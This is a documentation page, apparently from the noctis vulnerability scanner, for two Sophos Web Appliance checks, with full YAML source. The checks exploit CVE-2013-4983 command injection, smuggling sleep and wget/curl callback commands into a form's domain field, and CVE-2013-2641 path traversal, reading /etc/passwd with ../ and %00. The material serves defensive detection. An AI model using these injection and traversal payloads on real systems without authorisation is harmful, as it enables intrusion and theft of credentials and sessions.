Sophos Web Appliance — 2 vulnerability checks
noctis ships 2 vulnerability checks for Sophos Web Appliance, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Sophos Web Appliance sblistpack Command Injection
| CVE | CVE-2013-4983 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, wait_oob, match · highest QoD 97 |
| Feed | tests/vulnerabilities/sophos-web-appliance/CVE-2013-4983.yaml |
Detects the unauthenticated OS command injection in Sophos Web Appliance before 3.7.9.1 and 3.8.x before 3.8.1.1: the domain field of the block page's Continue action (POST /end-user/index.php?c=blocked&action=continue) reaches a shell command in the sblistpack helper without quoting, so `;<command>` runs a command as the web user. The feed first checks that the Continue action answers with a redirect to a random URL it sent, then injects benign commands and reports only on proof of real execution: an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep (6 s and 3 s, measured against a baseline request). Like a user clicking Continue, each request adds a random, harmless entry to the allow list of the user name "noctis" on the appliance.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /end-user/index.php?c=blocked&action=continuewith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /end-user/index.php?c=blocked&action=continuewith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Sophos Web Appliance blind command injection confirmed via POST /end-user/index.php?c=blocked&action=continue domain: a shell collapsed the…
- HTTP(S) request
POST /end-user/index.php?c=blocked&action=continuewith a crafted body - HTTP(S) request
POST /end-user/index.php?c=blocked&action=continuewith a crafted body - Checks
slow3.bodyfor[\s\S]*→ finding QoD 75: Sophos Web Appliance command injection confirmed by timing via POST /end-user/index.php?c=blocked&action=continue domain: control answered …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-4983
- https://www.exploit-db.com/exploits/28175
- https://www.exploit-db.com/exploits/28334
- https://www.securityfocus.com/bid/62263
Feed source — tests/vulnerabilities/sophos-web-appliance/CVE-2013-4983.yaml
# Sophos Web Appliance — end-user block page sblistpack command injection (CVE-2013-4983)
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_sophos_web_appliance_mult_vuln_09_2013.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103781, GPL-2.0-only). Request shape also checked
# against the Core Security advisory CORE-2013-0705 (EDB 28175) and the
# Metasploit module exploit/linux/http/sophos_wpa_sblistpack_exec (EDB 28334):
# POST /end-user/index.php?c=blocked&action=continue
# url=<base64 URL>&args_reason=<not filetypewarn>&filetype=..&user=..
# &user_encoded=<base64 user>&domain=http://x.com;<cmd>&raw_category_id=a|b
# UsrBlocked.php (the block page's "Continue" button) runs
# `/opt/ws/bin/sblistpack <domain> <user> <cat>` through shell_exec() and then
# redirects to the decoded `url`; sblistpack's get_referers() pastes the domain,
# unquoted, into a Perl backtick command, so `;<cmd>` runs as the web user,
# unauthenticated. Perl captures the output: the injection is blind. Fixed in
# 3.7.9.1 / 3.8.1.1.
#
# The issue also lists CVE-2013-4984 (clear_keys.pl local privilege escalation,
# needs a shell on the appliance); it cannot be tested over the network, so the
# feed names only CVE-2013-4983. CVSS: NVD v2 10.0 (no v3 score).
#
# Detection — gated on the block page's Continue action answering a redirect to
# the per-run random URL we sent (the Metasploit check), then two benign proofs,
# nothing read or persisted (sblistpack adds the random domain to the per-user
# allow list, exactly what a user clicking Continue does):
# 1. OOB callback (QoD 97, only when OOB is configured):
# `wget -q -T 5 -t 1 -O /dev/null <url>||curl -s -m 5 -o /dev/null <url>`,
# the token split by an empty $() so only a shell rebuilds the callback
# path. No quotes or backslashes (they break the escapeshellarg'd argument
# inside the Perl backticks).
# 2. Time differential (QoD 75, when 1 did not fire): shell_exec() blocks until
# sblistpack returns, so the redirect is delayed by the injected sleep. The
# control must answer in < 3 s, `sleep 6` within control + [5 s, 9 s) and
# `sleep 3` within control + [2 s, 4.5 s), at least 2 s apart (the
# sleep 3 floor leaves room for a control that was slower than usual). A server
# that is slow on every request, or that tarpits every request carrying `;`
# by the same amount (WAF/IPS), cannot satisfy both windows.
#
# Better than the NASL: the NASL times sleep 3/5/8 with open-ended windows
# (`stop - start >= i`, up to i + 5 s) and no baseline, so one uniformly slow
# host or tarpit passes all three, after only checking that the reply holds
# the string "example.org". Here a product gate (the
# redirect to our random URL), a baseline and disjoint windows are required,
# and an OOB callback gives a positive proof of execution when OOB is enabled.
uid: 6f2b624e-11e3-493b-a61c-e6f9e8ab35f3
name: "Sophos Web Appliance sblistpack Command Injection (CVE-2013-4983)"
description: |
Detects the unauthenticated OS command injection in Sophos Web Appliance
before 3.7.9.1 and 3.8.x before 3.8.1.1: the domain field of the block page's
Continue action (POST /end-user/index.php?c=blocked&action=continue) reaches a
shell command in the sblistpack helper without quoting, so `;<command>` runs
a command as the web user. The feed first checks that the Continue action
answers with a redirect to a random URL it sent, then injects benign commands
and reports only on proof of real execution: an out-of-band HTTP callback
whose URL only a shell can rebuild, or a reply delay that scales with an
injected sleep (6 s and 3 s, measured against a baseline request). Like a
user clicking Continue, each request adds a random, harmless entry to the
allow list of the user name "noctis" on the appliance.
cves: [CVE-2013-4983]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [sophos, web-appliance, swa, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-4983"
- "https://www.exploit-db.com/exploits/28175"
- "https://www.exploit-db.com/exploits/28334"
- "https://www.securityfocus.com/bid/62263"
steps:
# Per-run random redirect target: "http://www." + 9 chars + ".com" is 24
# bytes, so its base64 has no "=" padding; + and / are percent-encoded.
- id: gen-proof
action: script
code: |
let label = rand_str(9);
let b64 = base64_encode("http://www." + label + ".com");
b64.replace("+", "%2B");
b64.replace("/", "%2F");
#{ host: "www." + label + ".com", url64: b64, dom: rand_str(10) }
store_as: proof
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# Pre-initialise every stored result read in a condition below.
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: 0, body: "", headers: {}, duration_ms: 0}
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-slow6
action: set_var
var_name: slow6
var_value: {status: 0, body: "", headers: {}, duration_ms: 0}
- id: init-slow3
action: set_var
var_name: slow3
var_value: {status: 0, body: "", headers: {}, duration_ms: 0}
# Control: an ordinary Continue click, nothing injected.
- id: control
action: http_request
method: POST
path: "/end-user/index.php?c=blocked&action=continue"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url={{proof.url64}}&args_reason=noctis&filetype=noctis&user=noctis&user_encoded=bm9jdGlz&domain=http%3A%2F%2F{{proof.dom}}.com&raw_category_id=one%7Ctwo"
follow_redirects: false
tls_insecure: true
port: "{{port}}"
timeout_secs: 15
store_as: ctrl
# Product gate: UsrBlocked.php redirects to the base64-decoded `url`, so the
# Location must carry the random host we sent.
- id: check-gate
action: script
code: |
let loc = ctrl.headers["location"];
ctrl.status >= 300 && ctrl.status < 400 && type_of(loc) == "string" && stridx(loc, proof.host) >= 0
store_as: gate
# ── 1. OOB callback ─────────────────────────────────────────────────────
# %3B = ; %20 = space %24%28%29 = $() %7C%7C = ||
- id: inject-oob
action: http_request
method: POST
path: "/end-user/index.php?c=blocked&action=continue"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url={{proof.url64}}&args_reason=noctis&filetype=noctis&user=noctis&user_encoded=bm9jdGlz&domain=http%3A%2F%2F{{proof.dom}}.com%3Bwget%20-q%20-T%205%20-t%201%20-O%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%7C%7Ccurl%20-s%20-m%205%20-o%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}&raw_category_id=one%7Ctwo"
follow_redirects: false
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "oob_enabled && gate"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && gate"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Sophos Web Appliance blind command injection confirmed via POST /end-user/index.php?c=blocked&action=continue domain: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: true
# ── 2. Time differential ────────────────────────────────────────────────
- id: inject-sleep6
action: http_request
method: POST
path: "/end-user/index.php?c=blocked&action=continue"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url={{proof.url64}}&args_reason=noctis&filetype=noctis&user=noctis&user_encoded=bm9jdGlz&domain=http%3A%2F%2F{{proof.dom}}.com%3Bsleep%206&raw_category_id=one%7Ctwo"
follow_redirects: false
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "gate && ctrl.duration_ms < 3000"
store_as: slow6
- id: inject-sleep3
action: http_request
method: POST
path: "/end-user/index.php?c=blocked&action=continue"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url={{proof.url64}}&args_reason=noctis&filetype=noctis&user=noctis&user_encoded=bm9jdGlz&domain=http%3A%2F%2F{{proof.dom}}.com%3Bsleep%203&raw_category_id=one%7Ctwo"
follow_redirects: false
tls_insecure: true
port: "{{port}}"
timeout_secs: 20
condition: "gate && ctrl.duration_ms < 3000 && slow6.status >= 300 && slow6.status < 400 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000"
store_as: slow3
- id: confirm-timing
action: match
source: slow3.body
pattern: "[\\s\\S]*"
condition: "gate && ctrl.duration_ms < 3000 && slow6.status >= 300 && slow6.status < 400 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow6.duration_ms < ctrl.duration_ms + 9000 && slow3.status >= 300 && slow3.status < 400 && slow3.duration_ms >= ctrl.duration_ms + 2000 && slow3.duration_ms < ctrl.duration_ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "Sophos Web Appliance command injection confirmed by timing via POST /end-user/index.php?c=blocked&action=continue domain: control answered in {{ctrl.duration_ms}} ms, injected sleep 6 in {{slow6.duration_ms}} ms and sleep 3 in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
stop: trueSophos Web Appliance patience.cgi Arbitrary File Read
| CVE | CVE-2013-2641 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/sophos-web-appliance/CVE-2013-2641.yaml |
Tests Sophos Web Appliance for the unauthenticated arbitrary file read in /cgi-bin/patience.cgi fixed in version 3.7.8.2. The feed sends the `id` parameter as a ../-sequence path to /etc/passwd ending in a NUL byte (%00), which cuts off the suffix the CGI appends. The content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read, and root's password field is redacted from the evidence. On a vulnerable appliance the same flaw exposes the configuration file (stored credentials) and the web interface access log (administrator session ids).
How noctis detects it
- HTTP(S) request
GET /cgi-bin/patience.cgi?id=../../../../../../../etc/passwd%00 - Checks
passwd_r.bodyfor(?m)(?:^|>)root:[^:\r\n]*:0:([01]):([^:\r\n]*:[^:\r\n]*:[^:\r\n<]*) - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cgi-bin/patience.cgi?id=../../../../../../../etc/passwd.noctis-absent-{{oob_token}}%… - Checks
ctrl_r.bodyfor(?m)(?:^|>)root:[^:\r\n]*:0:[01]: - Checks
lin_prooffor^root:<redacted>:0:[01]:→ finding QoD 75: Sophos Web Appliance patience.cgi Arbitrary File Read (CVE-2013-2641)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-2641
- https://www.exploit-db.com/exploits/24932
- https://www.sophos.com/en-us/support/knowledgebase/118969.aspx
Feed source — tests/vulnerabilities/sophos-web-appliance/CVE-2013-2641.yaml
# Sophos Web Appliance — patience.cgi unauthenticated file disclosure (CVE-2013-2641)
#
# Sophos Web (Protection) Appliance before 3.7.8.2: the `id` parameter of
# /cgi-bin/patience.cgi (the "please wait" page shown while a large download is
# scanned) is used to build a file path without any check, so ../ sequences
# followed by %00 (which cuts the suffix the CGI appends) read any file the
# "spiderman" web user can read. The SEC Consult advisory (20130403-0,
# exploit-db 24932) reads persist/config/shared.conf (admin password hash,
# clear-text AD/FTP passwords) and log/ui_access_log (PHP session ids passed in
# the URL, i.e. admin impersonation) that way.
#
# Detection (benign, read-only): request
# /cgi-bin/patience.cgi?id=../../../../../../../etc/passwd%00
# (the NASL's exact URL) and match the CONTENT of /etc/passwd (root line, at
# the start of a line or right after an HTML tag, e.g. <pre>root:...).
# QoD 75 (response analysis). The ../ and %00 sit in the query string, which
# http_request sends verbatim. Only /etc/passwd is read: shared.conf and the
# access log hold secrets and are never requested. The appliance is a Linux
# box, so the NASL's Windows files (win.ini / boot.ini) are not probed.
#
# Improvements over the source NASL:
# - A control request (same CGI, id = an absent random file whose name
# still contains "etc/passwd") must come back WITHOUT a passwd line; a
# blanket responder or a honeypot keying a fake passwd on the substring is
# therefore not reported (fail-closed: no control reply → no finding).
# - The NASL needs its Sophos product detection first; this feed probes the
# fixed CGI path directly, so a box that hides its product banner is
# still tested.
# - root's password field is redacted before it can reach the finding (only
# gecos:home:shell are kept).
#
# CVEs: the NASL lists CVE-2013-2641, CVE-2013-2642 and CVE-2013-2643 (the three
# bugs of the advisory). This request proves only CVE-2013-2641 (NVD: directory
# traversal in patience.cgi via id, CVSS v2 5.0, no v3 score). CVE-2013-2642
# (OS command injection, needs an admin session or a customised block page
# template) and CVE-2013-2643 (reflected XSS) are not tested, so the feed does
# not name them.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_sophos_web_appliance_mult_vuln_03_2013.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103688, GPL-2.0-only). Request taken from that
# plugin and the SEC Consult advisory.
uid: d59b355e-5c6b-43a2-a856-a170bee3bdc5
name: "Sophos Web Appliance patience.cgi Arbitrary File Read (CVE-2013-2641)"
description: |
Tests Sophos Web Appliance for the unauthenticated arbitrary file read in
/cgi-bin/patience.cgi fixed in version 3.7.8.2. The feed sends the `id`
parameter as a ../-sequence path to /etc/passwd ending in a NUL byte (%00),
which cuts off the suffix the CGI appends. The content of /etc/passwd in the
reply confirms the file read. A control request for an absent random file
through the same parameter must not return any passwd line, so a server that
serves the same content on every request is not reported. Only the
world-readable /etc/passwd is read, and root's password field is redacted
from the evidence. On a vulnerable appliance the same flaw exposes the
configuration file (stored credentials) and the web interface access log
(administrator session ids).
cves: [CVE-2013-2641]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [sophos, web-appliance, swa, path-traversal, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-2641"
- "https://www.exploit-db.com/exploits/24932"
- "https://www.sophos.com/en-us/support/knowledgebase/118969.aspx"
# OpenVAS/Greenbone NASL 2013/gb_sophos_web_appliance_mult_vuln_03_2013.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Read /etc/passwd through the id parameter ────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "/cgi-bin/patience.cgi?id=../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:([01]):([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n<]*)"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 1 {
"root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
} else { "" }
store_as: lin_proof
# ── Control: same parameter, absent random file — must NOT carry a passwd
# line. The absent name still contains "etc/passwd", so a honeypot that keys
# a fake file on that substring answers it too.
- id: control
action: http_request
method: GET
path: "/cgi-bin/patience.cgi?id=../../../../../../../etc/passwd.noctis-absent-{{oob_token}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n]*:0:[01]:"
condition: 'lin_proof != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:[01]:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Sophos Web Appliance patience.cgi Arbitrary File Read (CVE-2013-2641)"
description: "An unauthenticated request to /cgi-bin/patience.cgi with a ../-sequence id ending in %00 returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw lets an attacker read the appliance configuration (stored credentials) and the web interface access log (administrator session ids)."
remediation: "Update Sophos Web Appliance to version 3.7.8.2 or later, and restrict access to the appliance web interface to trusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /cgi-bin/patience.cgi?id=../(x7)etc/passwd%00 returned /etc/passwd; control for an absent file returned no passwd line ({{lin_proof}})"
stop: true